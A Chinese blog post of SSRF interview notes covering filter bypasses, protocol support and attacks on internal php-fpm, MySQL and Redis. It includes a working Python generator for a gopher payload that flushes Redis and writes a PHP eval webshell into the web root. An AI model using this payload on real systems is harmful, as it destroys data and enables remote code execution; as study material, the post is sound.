之前面试的时候被问了一些SSRF的细节问题,感觉答得挺差的 总结一下
ssrf本身东西很杂 因为大多数情况都是跟别的服务息息相关 所以综合性很强 面试官也很喜欢问。

00x0 SSRF的绕过姿势

分情况说吧
白名单的时候:找白名单域名的任意url重定向或者找解析差异(类似parse_url和curl的解析差异 make ssrf great again.jpg)或者拿个子域名的shell(雾

黑名单的时候:
1.302跳转 经典姿势
2.8进制ip 16进制ip ipv6 intip 进制混合ip
3.短地址 比如dwz.cn
4.xip.io
5.DNS绑定 买个域名解析到目标ip 钞能力

先把域名解析到ip,判断ip是否在白名单,再访问域名的时候:DNS重绑定

0x01 SSRF支持协议总结

在不同情况下导致的ssrf 支持的协议会有区别
只讨论ssrf常用的协议 gopher dict http https ftp file
javassrf:jdk8之后就不支持gopher了
php-file_get_contents:只支持php内置的协议 不支持gopher dict
php-libcurl:支持的协议最全,gopher dict都可以用
php-xxe:支持的协议跟file_get_contents一样

0x02 ssrf 打内网服务

fpm未授权

上p神 https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
在ssrf的情况下 可以用gopher打fpm
https://www.jianshu.com/p/fd27f0eedccf
这篇文章用nc接收exp流量再转换成gopher的payload 堪称小天才

内网无密码mysql

由于mysql验证身份需要交互 而gopher不支持交互 所以只能打无密码mysql 这个用gopherus生成payload一把梭就可以了(吐槽一句 最近看了gopherus redis模块的源码 乱的有点夸张

内网redis 弱口令或者未授权

dict协议和gopher都可以打 dict一次只能发一行命令要麻烦一些
gopher的话 可以用这个脚本生成payload

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

因为本质就是执行redis 命令 所以带密码也可以 在前面加上AUTH就行了
攻击方式也是redis常用的手法
写公钥 写webshell 写crontab啥的 有权限就能为所欲为
还有主从复制rce也可以 前几天网鼎杯考到了 不过流程要麻烦些

分类: 技术

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注